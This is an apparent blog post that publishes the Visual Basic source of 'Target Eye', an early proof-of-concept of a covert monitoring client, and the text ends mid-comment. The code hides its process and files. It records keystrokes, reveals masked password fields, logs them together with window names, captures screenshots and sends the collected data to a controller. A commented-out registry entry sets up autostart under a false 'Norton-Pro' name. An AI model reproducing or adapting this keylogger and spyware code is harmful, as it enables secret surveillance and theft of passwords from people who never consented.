Saturday, November 5, 2011

מסך הפתיחה של תוכנת טרגט איי בגירסת 2000




©2000-2013 Michael Haephrati and Target Eye LTD
All materials contained on this site are protected by International copyright law and may not be used, reproduced, distributed, transmitted, displayed, published or broadcast without the prior written permission given by Michael Haephrati and Target Eye LTD. You may not alter or remove any trademark, copyright or other notice from copies of the content.

Sunday, August 21, 2011

POC

On July 2000, I have created a first POC using Visual Basic 6.0.
Attribute VB_Name = "TargetEyeC"
'                                   Target Eye
'                                   Invisible Client
'                                   by Michael Haephrati
'
'   Version 0.01    9.3.2000
'
'   Program Flow:
'       Initilization:
'       1.  Get user name
'       2.  Create hiden files for storage
'       3.  Check for Internet settings
'       4.  Hide application
'       5.  Register application to start automatically
'       Loop:
'       1.  Save active window to hiden file
'       2.  Capture text typed
'           * Capture
'           * Translate KeyCodes into real string in the choosen language
'       3.  Check for password characters in any window
'           * If there are -> save real password string + window name + application name
'       4.  If Internet mode -> send to web page.
'       5.  If Network mode -> Controller will collect files from client.
Public fMainForm As MDIForm1
Public lDocumentCount As Long
Public lDocuments(10) As Form1
' Declare constants.
Private Const CSIDL_TEMPLATES = &H15
Private Const CSIDL_STARTMENU = &HB
Private Const CSIDL_FAVORITES = &H6
Private Const CSIDL_DESKTOPDIRECTORY = &H10
Public Const HWND_TOP = 0
Public Const HWND_TOPMOST = -1
Public Const HWND_NOTOPMOST = -2
Public Const HWND_BOTTOM = 1

' Declare API functions.
Private Type ShortItemId
     cb As Long
     abID As Byte
End Type

Private Type ITEMIDLIST
     mkid As ShortItemId
End Type
Public Declare Function OSfCreateShellLink Lib "vb6stkit.dll" Alias "fCreateShellLink" _
         (ByVal lpstrFolderName As String, _
         ByVal lpstrLinkName As String, _
         ByVal lpstrLinkPath As String, _
         ByVal lpstrLinkArguments As String, _
         ByVal fPrivate As Long, _
         ByVal sParent As String) As Long

Public Const gstrQUOTE$ = """"

' Declare constants.
'Registry Access Declarations
Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long

Private Declare Function SHGetPathFromIDList Lib "shell32.dll" _
   (ByVal Pidl As Long, ByVal pszPath As String) As Long

Private Declare Function SHGetSpecialFolderLocation Lib _
   "shell32.dll" (ByVal hwndOwner As Long, ByVal nFolder _
   As Long, Pidl As ITEMIDLIST) As Long

'Startup folder

    Const CSIDL_COMMON_STARTUP = 24
    Const MAX_PATH = 260
' ----------------

'Create a shortcut
Declare Function fCreateShellLink Lib "vb6stkit.dll" _
    (ByVal lpstrFolderName As String, _
    ByVal lpstrLinkName As String, _
    ByVal lpstrLinkPath As String, _
    ByVal lpstrLinkArgs As String, _
    ByVal fPrivate As Integer, _
    ByVal sParent As String) As Long
' -------------
Declare Function CombineRgn Lib "gdi32.dll" (ByVal hDestRgn As Long, ByVal hSrcRgn1 As Long, ByVal hSrcRgn2 As Long, ByVal nCombineMode As Long) As Long
Public Declare Function SetForegroundWindow Lib "user32" (ByVal hWnd As Long) As Long
Declare Function CreateRectRgn Lib "gdi32.dll" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Public Const TH32CS_SNAPPROCESS As Long = 2&

Declare Function SetWindowRgn Lib "user32" (ByVal hWnd As Long, ByVal hRgn As Long, ByVal bRedraw As Boolean) As Long
Public Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwflags As Long
szexeFile As String * MAX_PATH
End Type

Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" _
(ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, _
ByVal dwThreadId As Long) As Long

Private Const SHIFT_KEY As Integer = 16
Declare Function UnhookWindowsHookEx Lib "user32" (ByVal idHook As Long) As Long
Declare Function DeleteObject Lib "gdi32.dll" (ByVal hObject As Long) As Long
Global Current As Long
Global ChrTrap As Long
Global hHook As Long

' Target Eye Message
Public Enum TEM
    WindowsCMD
    ListFiles
    GetFile
    SendFile
    Execute
    DisplayMsg
    TargetEyeCMD
End Enum

      '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
      '
      ' CreateBitmapPicture
      '    - Creates a bitmap type Picture object from a bitmap and
      '      palette.
      '
      ' hBmp
      '    - Handle to a bitmap.
      '
      ' hPal
      '    - Handle to a Palette.
      '    - Can be null if the bitmap doesn't use a palette.
      '
      ' Returns
      '    - Returns a Picture object containing the bitmap.
      '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
      '
        Public Function CreateBitmapPicture(ByVal hBmp As Long, _
            ByVal hPal As Long) As Picture

        Dim r As Long

        Dim Pic As PicBmp
         ' IPicture requires a reference to "Standard OLE Types."
        Dim IPic As IPicture
        Dim IID_IDispatch As GUID

         ' Fill in with IDispatch Interface ID.
        With IID_IDispatch
            .Data1 = &H20400
            .Data4(0) = &HC0
            .Data4(7) = &H46
        End With

         ' Fill Pic with necessary parts.
        With Pic
            .Size = Len(Pic)          ' Length of structure.
            .Type = vbPicTypeBitmap   ' Type of Picture (bitmap).
            .hBmp = hBmp              ' Handle to bitmap.
            .hPal = hPal              ' Handle to palette (may be null).
        End With

         ' Create Picture object.
        r = OleCreatePictureIndirect(Pic, IID_IDispatch, 1, IPic)

         ' Return the new Picture object.
         Set CreateBitmapPicture = IPic
    End Function

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'
' CaptureWindow
'    - Captures any portion of a window.
'
' hWndSrc
'    - Handle to the window to be captured.
'
' Client
'    - If True CaptureWindow captures from the client area of the
'      window.
'    - If False CaptureWindow captures from the entire window.
'
' LeftSrc, TopSrc, WidthSrc, HeightSrc
'    - Specify the portion of the window to capture.
'    - Dimensions need to be specified in pixels.
'
' Returns
'    - Returns a Picture object containing a bitmap of the specified
'      portion of the window that was captured.
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Public Function CaptureWindow(ByVal hWndSrc As Long, _
    ByVal Client As Boolean, ByVal LeftSrc As Long, _
    ByVal TopSrc As Long, ByVal WidthSrc As Long, _
    ByVal HeightSrc As Long) As Picture

    Dim hDCMemory As Long
    Dim hBmp As Long
    Dim hBmpPrev As Long
    Dim r As Long
    Dim hDCSrc As Long
    Dim hPal As Long
    Dim hPalPrev As Long
    Dim RasterCapsScrn As Long
    Dim HasPaletteScrn As Long
    Dim PaletteSizeScrn As Long
    Dim LogPal As LOGPALETTE
    ' Depending on the value of Client get the proper device context.
    If Client Then
        hDCSrc = GetDC(hWndSrc) ' Get device context for client area.
    Else
        hDCSrc = GetWindowDC(hWndSrc) ' Get device context for entire window.
    End If
    ' Create a memory device context for the copy process.
    hDCMemory = CreateCompatibleDC(hDCSrc)
    ' Create a bitmap and place it in the memory DC.
    hBmp = CreateCompatibleBitmap(hDCSrc, WidthSrc, HeightSrc)
    hBmpPrev = SelectObject(hDCMemory, hBmp)

    ' Get screen properties.
    RasterCapsScrn = GetDeviceCaps(hDCSrc, RASTERCAPS)  ' Raster
                                                        ' capabilities.
    HasPaletteScrn = RasterCapsScrn And RC_PALETTE      ' Palette
                                                        ' support.
    PaletteSizeScrn = GetDeviceCaps(hDCSrc, SIZEPALETTE) ' Size of
                                                        ' palette.

    ' If the screen has a palette make a copy and realize it.
    If HasPaletteScrn And (PaletteSizeScrn = 256) Then
    ' Create a copy of the system palette.
        LogPal.palVersion = &H300
        LogPal.palNumEntries = 256
        r = GetSystemPaletteEntries(hDCSrc, 0, 256, LogPal.palPalEntry(0))
        hPal = CreatePalette(LogPal)
        ' Select the new palette into the memory DC and realize it.
        hPalPrev = SelectPalette(hDCMemory, hPal, 0)
        r = RealizePalette(hDCMemory)
    End If

    ' Copy the on-screen image into the memory DC.
    r = BitBlt(hDCMemory, 0, 0, WidthSrc, HeightSrc, hDCSrc, LeftSrc, TopSrc, vbSrcCopy)

    ' Remove the new copy of the  on-screen image.
    hBmp = SelectObject(hDCMemory, hBmpPrev)

    ' If the screen has a palette get back the palette that was
    ' selected in previously.
    If HasPaletteScrn And (PaletteSizeScrn = 256) Then
        hPal = SelectPalette(hDCMemory, hPalPrev, 0)
    End If

    ' Release the device context resources back to the system.
    r = DeleteDC(hDCMemory)
    r = ReleaseDC(hWndSrc, hDCSrc)

    ' Call CreateBitmapPicture to create a picture object from the
    ' bitmap and palette handles. Then return the resulting picture
    ' object.
    Set CaptureWindow = CreateBitmapPicture(hBmp, hPal)
End Function

      '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
      '
      ' CaptureScreen
      '    - Captures the entire screen.
      '
      ' Returns

      '    - Returns a Picture object containing a bitmap of the screen.
      '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
      '
      Public Function CaptureScreen() As Picture

        Dim hWndScreen As Long

         ' Get a handle to the desktop window.
         hWndScreen = GetDesktopWindow()

         ' Call CaptureWindow to capture the entire desktop give the handle
         ' and return the resulting Picture object.

         Set CaptureScreen = CaptureWindow(hWndScreen, False, 0, 0, _
            Screen.Width \ Screen.TwipsPerPixelX, _
            Screen.Height \ Screen.TwipsPerPixelY)
      End Function

      '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
      '
      ' CaptureForm
      '    - Captures an entire form including title bar and border.
      '
      ' frmSrc
      '    - The Form object to capture.
      '
      ' Returns
      '    - Returns a Picture object containing a bitmap of the entire
      '      form.
      '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
      '
      Public Function CaptureForm(frmSrc As Form) As Picture
         ' Call CaptureWindow to capture the entire form given its window
         ' handle and then return the resulting Picture object.
         Set CaptureForm = CaptureWindow(frmSrc.hWnd, False, 0, 0, _
            frmSrc.ScaleX(frmSrc.Width, vbTwips, vbPixels), _
            frmSrc.ScaleY(frmSrc.Height, vbTwips, vbPixels))
      End Function

      '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
      '
      ' CaptureClient
      '    - Captures the client area of a form.
      '
      ' frmSrc
      '    - The Form object to capture.
      '
      ' Returns
      '    - Returns a Picture object containing a bitmap of the form's
      '      client area.
      '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
      '
      Public Function CaptureClient(frmSrc As Form) As Picture
         ' Call CaptureWindow to capture the client area of the form given
         ' its window handle and return the resulting Picture object.
         Set CaptureClient = CaptureWindow(frmSrc.hWnd, True, 0, 0, _
            frmSrc.ScaleX(frmSrc.ScaleWidth, frmSrc.ScaleMode, vbPixels), _
            frmSrc.ScaleY(frmSrc.ScaleHeight, frmSrc.ScaleMode, vbPixels))
      End Function

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'
' CaptureActiveWindow
'    - Captures the currently active window on the screen.
'
' Returns
'    - Returns a Picture object containing a bitmap of the active
'      window.
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'
Public Function CaptureActiveWindow() As Picture
    Dim s As String
    Dim hWndActive As Long
    Dim r As Long
    Dim RectActive As RECT

    ' Get a handle to the active/foreground window.
    hWndActive = GetForegroundWindow()
    ActiveWindowPTR = hWndActive
    r = GetWindowRect(hWndActive, RectActive)
    Set CaptureActiveWindow = CaptureWindow(hWndActive, False, RectActive.Left, RectActive.Top, RectActive.Right - RectActive.Left, RectActive.Bottom - RectActive.Top)
End Function

      '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
      '
      ' PrintPictureToFitPage
      '    - Prints a Picture object as big as possible.
      '
      ' Prn
      '    - Destination Printer object.
      '
      ' Pic
      '    - Source Picture object.
      '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
      '
Public Sub PrintPictureToFitPage(Prn As Printer, Pic As Picture)
    Const vbHiMetric As Integer = 8
    Dim PicRatio As Double
    Dim PrnWidth As Double
    Dim PrnHeight As Double
    Dim PrnRatio As Double
    Dim PrnPicWidth As Double
    Dim PrnPicHeight As Double

    WriteToLog Format(Now(), "DD/MM HH:MM:SS") + " PrintPictureToFitPage"
         ' Determine if picture should be printed in landscape or portrait
         ' and set the orientation.
         If Pic.Height >= Pic.Width Then
            Prn.Orientation = vbPRORPortrait   ' Taller than wide.
         Else
            Prn.Orientation = vbPRORLandscape  ' Wider than tall.
         End If

         ' Calculate device independent Width-to-Height ratio for picture.
         PicRatio = Pic.Width / Pic.Height

         ' Calculate the dimentions of the printable area in HiMetric.
         PrnWidth = Prn.ScaleX(Prn.ScaleWidth, Prn.ScaleMode, vbHiMetric)
         PrnHeight = Prn.ScaleY(Prn.ScaleHeight, Prn.ScaleMode, vbHiMetric)
         ' Calculate device independent Width to Height ratio for printer.
         PrnRatio = PrnWidth / PrnHeight

         ' Scale the output to the printable area.
         If PicRatio >= PrnRatio Then
            ' Scale picture to fit full width of printable area.
            PrnPicWidth = Prn.ScaleX(PrnWidth, vbHiMetric, Prn.ScaleMode)
            PrnPicHeight = Prn.ScaleY(PrnWidth / PicRatio, vbHiMetric, _
               Prn.ScaleMode)
         Else
            ' Scale picture to fit full height of printable area.
            PrnPicHeight = Prn.ScaleY(PrnHeight, vbHiMetric, Prn.ScaleMode)
            PrnPicWidth = Prn.ScaleX(PrnHeight * PicRatio, vbHiMetric, _
               Prn.ScaleMode)
         End If

         ' Print the picture using the PaintPicture method.
         Prn.PaintPicture Pic, 0, 0, PrnPicWidth, PrnPicHeight
      End Sub
      '--------------------------------------------------------------------

Function CurUserName$()
    Dim MachineName As String
    Dim NameSize As Integer
    Dim x As Integer
    MachineName = Space$(16)
    NameSize = Len(MachineName)
    x = GetComputerName(MachineName, 16)
    CurUserName$ = MTrim(MachineName)
End Function
Public Function MTrim(ByVal s As String) As String
    Dim i
    For i = 1 To Len(s)
        If Mid(s, i, 1) <> Chr(0) Then MTrim = MTrim + Mid(s, i, 1)
    Next
    MTrim = Trim(MTrim)
End Function
' ************************************************
' Return the text associated with the window.
' ************************************************
Public Function WindowText(window_hwnd As Long) As String
    Dim txtlen As Long
    Dim Txt As String
    WindowText = ""
    If window_hwnd = 0 Then Exit Function
    txtlen = SendMessage(window_hwnd, WM_GETTEXTLENGTH, 0, 0)
    If txtlen = 0 Then Exit Function
    txtlen = txtlen + 1
    Txt = Space$(txtlen)
    txtlen = SendMessage(window_hwnd, WM_GETTEXT, txtlen, ByVal Txt)
    WindowText = Left$(Txt, txtlen)
End Function
' ***********************************************
' If this window is of the Edit class, return
' its contents. Otherwise search its children
' for an Edit object.
' ***********************************************
Public Function EditInfo(window_hwnd As Long) As String
Dim Txt As String
Dim buf As String
Dim buflen As Long
Dim child_hwnd As Long
Dim Children() As Long
Dim num_children As Integer
Dim a&
Dim i As Integer

    ' Get the class name.
    buflen = 256
    buf = Space$(buflen - 1)
    buflen = GetClassName(window_hwnd, buf, buflen)
    buf = Left$(buf, buflen)

    ' See if we found an Edit object.

    If buf = "Edit" Then
        EditInfo = WindowText(window_hwnd)
        thehwnd = window_hwnd
        Exit Function
    End If

    ' It's not an Edit object. Search the children.
    ' Make a list of the child windows.
    num_children = 0
    child_hwnd = GetWindow(window_hwnd, GW_CHILD)
    Do While child_hwnd <> 0
        num_children = num_children + 1
        ReDim Preserve Children(1 To num_children)
        Children(num_children) = child_hwnd
        'Debug.Print WindowText(child_hwnd)
        If Sendmessagebynum(child_hwnd, EM_GETPASSWORDCHAR, 0&, 0&) <> 0 Then
            Call Sendmessagebynum(a&, EM_SETPASSWORDCHAR, 0&, 0&)

            'Form1.HidenPWD = "(" + WindowText(window_hwnd) + ") " + WindowText(child_hwnd)
'            DoEvents
        End If
        child_hwnd = GetWindow(child_hwnd, GW_HWNDNEXT)
    Loop

    ' Get information on the child windows.
    For i = 1 To num_children
        Txt = EditInfo(Children(i))

        If Txt <> "" Then Exit For
    Next i

    EditInfo = Txt

End Function
Public Function FindPasswords(window_hwnd As Long) As String
Dim Txt As String
Dim buf As String
Dim buflen As Long
Dim child_hwnd As Long
Dim Children() As Long
Dim num_children As Integer
Dim a&
Dim i As Integer

    ' Get the class name.
    buflen = 256
    buf = Space$(buflen - 1)
    buflen = GetClassName(window_hwnd, buf, buflen)
    buf = Left$(buf, buflen)
    ' It's not an Edit object. Search the children.
    ' Make a list of the child windows.
    num_children = 0
    child_hwnd = GetWindow(window_hwnd, GW_CHILD)
    Do While child_hwnd <> 0
        num_children = num_children + 1
        ReDim Preserve Children(1 To num_children)
        Children(num_children) = child_hwnd
        'Debug.Print WindowText(child_hwnd)
        If Sendmessagebynum(child_hwnd, EM_GETPASSWORDCHAR, 0&, 0&) <> 0 Then
            Call Sendmessagebynum(a&, EM_SETPASSWORDCHAR, 0&, 0&)
            FindPasswords = Space(35 - Len(WindowText(window_hwnd))) + WindowText(window_hwnd) + Space(15 - Len(WindowText(child_hwnd))) + WindowText(child_hwnd)
            Exit Function
        End If
        child_hwnd = GetWindow(child_hwnd, GW_HWNDNEXT)
    Loop
    ' Get information on the child windows.
    For i = 1 To num_children
        Txt = FindPasswords(Children(i))
        If Trim(Txt) <> "" Then
            FindPasswords = Txt: Exit For
        End If
    Next i
    FindPasswords = Space(50)
End Function

Sub Main()
    Dim Work As Boolean
    Dim i, n, a, u, reg
    Dim Str As String
    Dim hHook As Long

    frmOptions.LoadTESettings
    WriteToLog Format(Now(), "DD/MM HH:MM:SS") + " Main"
    'Get screen resolution          // AGENT
    TWidth = Screen.Width \ Screen.TwipsPerPixelX
    THeight = Screen.Height \ Screen.TwipsPerPixelY
    'Load tmp files
    TE_DeleteFile TMP_FILENAME
    WriteToLog "============================"
    WriteToLog App.EXEName

    Set ActiveWindowWin = New Window
    'hHook = SetWindowsHookEx(2, AddressOf Keyboard, 0, 0)
    StartX = -1
    StartY = -1
    'initilization
    If App.PrevInstance = True Then End 'if Target Eye Client is already running -> quit

    'ReadCheckWords                      'read words to monitor
    'Call RegisterServiceProcess(0, 1)   'make task invisible
    'register Target Eye to run automatically at startup
    'u = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\RunServices", 0, KEY_ALL_ACCESS, a)
    'u = RegSetValueExA(a, "Norton-Pro", 0, reg, "C:\Windows\System\System.exe", 1)
    'u = RegCloseKey(a)

    'Work = True
    'loop
    'For i = 1 To 300
    'While Work
    frmSplash.Show vbModal
    If Not frmSplash.OK Then End
    Unload frmSplash
    frmSplash.Refresh
    Set fMainForm = New MDIForm1
    Load fMainForm
    Unload frmSplash
    If General.CaptureMode = Network And General.MyIdentity = SecretAgent Then
        AgentMe.Name = CurUserName
        AgentMe.ID = 0
        SendInitialMessage AgentMe.Name, NetworkPictFile + AgentMe.Name + ".tei"
    End If
    fMainForm.Show
End Sub
Sub SendInitialMessage(AgentName As String, FileName As String)
    Dim a$
    Open FileName For Output As #25
    Print #25, AgentName; "#"; Format(Now(), "DD/MM/YY HH:MM:SS")
    Close #25
    Open FileName For Input As #25
    Line Input #25, a$
    Debug.Print a$
    Close #25
End Sub
Function CheckAllWindows() As String
    Dim currwnd As Long
    Dim Length
    Dim listitem$
    Dim checklist As String
    Dim x, i, compare, mypos
    Dim a&
    'Get the hWnd of the first item in the master list
    'so we can process the task list entries (top-level only).
    currwnd = GetForegroundWindow()

    'Loop while the hWnd returned by GetWindow is valid.
    While currwnd <> 0
        'Get the length of task name identified by CurrWnd in the list.
        Length = GetWindowTextLength(currwnd)

        'Get task name of the task in the master list.
        listitem$ = Space$(Length + 1)
        Length = GetWindowText(currwnd, listitem$, Length + 1)

        'If there is a task name in the list, check if it is explorer or netscape
        If Length > 0 Then
            x = Right$(listitem$, 29)
            'if the task name is internet explorer
            'find the editwindow  and return its contents !
            'mypos = InStr(1, X, "Microsoft Internet Explorer", 1)
            'If mypos > 1 Then
            x = EditInfo(currwnd)

            'If .CheckHotWords.Value = vbChecked Then
            '    For i = 0 To Form1.HotWords.ListCount - 1
            '        compare = Form1.HotWords.List(i)
            '        mypos = InStr(1, UCase(X), UCase(compare), 1)
            '        If mypos >= 1 Then
            '            CheckAllWindows = X
            '            Exit Function
            '        Else
            '            CheckAllWindows = ""
            '        End If
            '    Next i
           'End If
        End If
        'Get the next task list item in the master list.
        currwnd = GetWindow(currwnd, GW_HWNDNEXT)
        'Process Windows events.
        'X = DoEvents()
    Wend
End Function

Public Sub HideAppInCloseProgramList()
    Dim process As Long
    WriteToLog Format(Now(), "DD/MM HH:MM:SS") + " HideAppInCloseProgramList"
    process = GetCurrentProcessId()
    Call RegisterServiceProcess(process, RSP_SIMPLE_SERVICE)
End Sub

Public Sub UnHideAppInCloseProgramList()
    Dim process As Long
    WriteToLog Format(Now(), "DD/MM HH:MM:SS") + " UnHideAppInCloseProgramList"
    process = GetCurrentProcessId()
    Call RegisterServiceProcess(process, RSP_UNREGISTER_SERVICE)
End Sub

Function GetCaption(hWnd) As String
    Dim Capt$
    Dim TChars$
    Capt$ = Space$(255)
    TChars$ = GetWindowText(hWnd, Capt$, 255)
    GetCaption = Left$(Capt$, TChars$)
End Function

Function GetText(hWnd) As String
    Dim GetString As String
    Dim TrimSpace$
    Dim GetTrim
    GetTrim = Sendmessagebynum(hWnd, 14, 0&, 0&)
    TrimSpace$ = Space$(GetTrim)
    GetString = SendMessageByString(hWnd, 13, GetTrim + 1, TrimSpace$)
    GetText = TrimSpace$
End Function

Public Function GenerateKey(t As String) As String
    Dim i As Integer
    Dim n As Long
    For i = 1 To Len(t)
        n = n + Int(9999 / Asc(Mid(t, i, 1)) * 100000)
    Next
    GenerateKey = Left(n, 8)
'    Debug.Print GenerateKey
End Function

' Keyboard capturing
Public Function CaptureKeyboard() As String
    Dim bGetKey As Boolean
    Dim keyloop As Integer
    Dim KeyResult As Integer
    Dim sKeyPressed As String
    ' if key pressed, stores Key Character i
    '     n sKeyPressed
    ' and returns true
    keyloop = 65

    Do Until keyloop = 91 ' check For letters
        KeyResult = GetAsyncKeyState(keyloop)

        If KeyResult = -32767 Then
            KeyResult = GetKeyState(SHIFT_KEY)
            sKeyPressed = IIf(KeyResult < 0, Chr(keyloop), LCase(Chr(keyloop)))
            GoTo KeyFound
        End If
        keyloop = keyloop + 1
    Loop
    keyloop = 48

    Do Until keyloop = 57 ' check For numbers
        KeyResult = GetAsyncKeyState(keyloop)

        If KeyResult = -32767 Then
            KeyResult = GetKeyState(SHIFT_KEY)

            If KeyResult < 0 Then
                If keyloop = 48 Then sKeyPressed = ")"
                If keyloop = 49 Then sKeyPressed = "!"
                If keyloop = 50 Then sKeyPressed = "@"
                If keyloop = 51 Then sKeyPressed = "#"
                If keyloop = 52 Then sKeyPressed = "$"
                If keyloop = 53 Then sKeyPressed = "%"
                If keyloop = 54 Then sKeyPressed = "^"
                If keyloop = 55 Then sKeyPressed = "&"
                If keyloop = 56 Then sKeyPressed = "*"
                If keyloop = 58 Then sKeyPressed = "("
            Else
                sKeyPressed = Chr(keyloop)
            End If
            GoTo KeyFound
        End If
        keyloop = keyloop + 1
    Loop
    KeyResult = GetAsyncKeyState(13) ' check For enter

    If KeyResult = -32767 Then
        sKeyPressed = vbCrLf
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(32) ' check For space

    If KeyResult = -32767 Then
        sKeyPressed = " "
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(8) ' check For Backspace

    If KeyResult = -32767 Then
        sKeyPressed = " BKSP "
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(46) ' check For Del

    If KeyResult = -32767 Then
        sKeyPressed = " DEL "
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(190) ' check For period

    If KeyResult = -32767 Then
        KeyResult = GetKeyState(SHIFT_KEY)
        sKeyPressed = IIf(KeyResult < 0, ">", ".")
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(188) ' check For comma

    If KeyResult = -32767 Then
        KeyResult = GetKeyState(SHIFT_KEY)
        sKeyPressed = IIf(KeyResult < 0, "<", ",")
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(186) ' check For colon

    If KeyResult = -32767 Then
        KeyResult = GetKeyState(SHIFT_KEY)
        sKeyPressed = IIf(KeyResult < 0, ":", ";")
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(191) ' check For question mark

    If KeyResult = -32767 Then
        KeyResult = GetKeyState(SHIFT_KEY)
        sKeyPressed = IIf(KeyResult < 0, "?", "/")
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(222) ' check For quotes

    If KeyResult = -32767 Then
        KeyResult = GetKeyState(SHIFT_KEY)
        sKeyPressed = IIf(KeyResult < 0, """", "'")
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(192) ' and so On

    If KeyResult = -32767 Then
        KeyResult = GetKeyState(SHIFT_KEY)
        sKeyPressed = IIf(KeyResult < 0, "~", "`")
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(189)

    If KeyResult = -32767 Then
        KeyResult = GetKeyState(SHIFT_KEY)
        sKeyPressed = IIf(KeyResult < 0, "_", "-")
        GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(187)

    If KeyResult = -32767 Then
        KeyResult = GetKeyState(SHIFT_KEY)
        sKeyPressed = IIf(KeyResult < 0, "+", "=")
        GoTo KeyFound
    End If
    bGetKey = False ' If you get here, no key found
    CaptureKeyboard = ""
    Exit Function
KeyFound:
    If TargetEyeC.FindTheardLanguage = "HEB" Then
        CaptureKeyboard = HebrewChar(sKeyPressed)
    Else
        CaptureKeyboard = sKeyPressed
    End If
    bGetKey = True

End Function

Public Function CAPSLOCKON() As Boolean
    Static bInit As Boolean
    Static bOn As Boolean
    If Not bInit Then
        While GetAsyncKeyState(VK_CAPITAL)
        Wend
        bOn = GetKeyState(VK_CAPITAL)
        bInit = True
    Else
        If GetAsyncKeyState(VK_CAPITAL) Then
            While GetAsyncKeyState(VK_CAPITAL)
'                DoEvents
            Wend
            bOn = Not bOn
        End If
    End If
    CAPSLOCKON = bOn
End Function

Public Function HebrewChar(ByVal s As String) As String
    Dim i, n
    Dim HChars As String
    HChars = "שנבגקכעיןחלךצמםפ/רדאוה/סטז"
    For i = 1 To Len(s)
        n = Asc(Mid(s, i, 1))
        If n >= 97 And n <= 122 Then
            Mid(s, i, 1) = Mid(HChars, n - 97 + 1, 1)
        Else
            Mid(s, i, 1) = Chr$(n)
        End If
    Next
    HebrewChar = s
End Function
Public Function Keyboard(ByVal idHook As Long, ByVal lParam As Long, ByVal wParam As Long) As Long
    Debug.Print lParam, wParam
    'If wParam > 0 Then '= WM_KEYUP Then
    '    AddChar lParam
    'End If
End Function
Public Sub AddChar(n As Long)
    Static lastn As Long

    If n = lastn Then lastn = -1: Exit Sub
    If FindTheardLanguage = "HEB" Then
        Form1.Ctext = Form1.Ctext + HebrewChar(Chr(n))
    Else
        Form1.Ctext = Form1.Ctext + Chr(n)
    End If
    lastn = n
End Sub

Public Function GetExeFromHandle(hWnd As Long) As String
Dim threadID As Long, processID As Long, hSnapshot As Long
Dim uProcess As PROCESSENTRY32, rProcessFound As Long
Dim i As Integer, szExename As String
' Get ID for window thread
Exit Function
threadID = GetWindowThreadProcessId(hWnd, processID)
' Check if valid
If threadID = 0 Or processID = 0 Then Exit Function
' Create snapshot of current processes
hSnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0&)
' Check if snapshot is valid
If hSnapshot = -1 Then Exit Function
'Initialize uProcess with correct size
uProcess.dwSize = Len(uProcess)
'Start looping through processes
rProcessFound = ProcessFirst(hSnapshot, uProcess)
Do While rProcessFound
If uProcess.th32ProcessID = processID Then
'Found it, now get name of exefile
i = InStr(1, uProcess.szexeFile, Chr(0))
If i > 0 Then szExename = Left$(uProcess.szexeFile, i - 1)
Exit Do
Else
'Wrong ID, so continue looping
rProcessFound = ProcessNext(hSnapshot, uProcess)
End If
Loop
Call CloseHandle(hSnapshot)
GetExeFromHandle = szExename
End Function

Public Sub CopyPict2CB(Pict As Picture)
    Clipboard.Clear
    Clipboard.SetData Pict, vbCFBitmap
End Sub

Public Sub TE_ReadPict(PictFileName As String, DestFileName As String, Myform As Form, ByVal AgentID As Integer)
    Dim s As String
    s = PacketType(PictFileName)
    Myform.Caption = "Reading packet " + s + " Agent: " + Str(AgentID)
'    DoEvents
    On Error GoTo 0
    Select Case s
        Case "NewFile":
            TECopy PictFileName, DestFileName, 1, AgentID
            Myform.Caption = "Copied from " + PictFileName + " to " + DestFileName
        Case "ContFile":
            TECopy PictFileName, DestFileName, 2, AgentID
            Myform.Caption = "Copied from " + PictFileName + " to " + DestFileName
        Case "EndFile":
            TECopy PictFileName, DestFileName, 3, AgentID
            Myform.Caption = "Copied from " + PictFileName + " to " + DestFileName
            On Error GoTo erPict
            Myform.Caption = "Loading image..." + DestFileName
            Set Myform.Image1.Picture = LoadPicture(DestFileName)
            On Error GoTo 0

        Case "SingleFile":
            TECopy PictFileName, DestFileName, 4, AgentID
            Myform.Caption = "Copied from " + PictFileName + " to " + DestFileName
            On Error GoTo erPict
            Myform.Caption = "Loading image..." + DestFileName
            Set Myform.Image1.Picture = LoadPicture(DestFileName)
'            DoEvents

            On Error GoTo 0
    End Select
    DeleteFile PictFileName
    Exit Sub
erPict:
    Myform.Caption = Err.Description
'    DoEvents
    Resume Next
End Sub
' =============================================================================
' TE_NewSendPict
' =============================================================================
' Input:
' PictFileName as String    -   a captured image file (currently BMP)
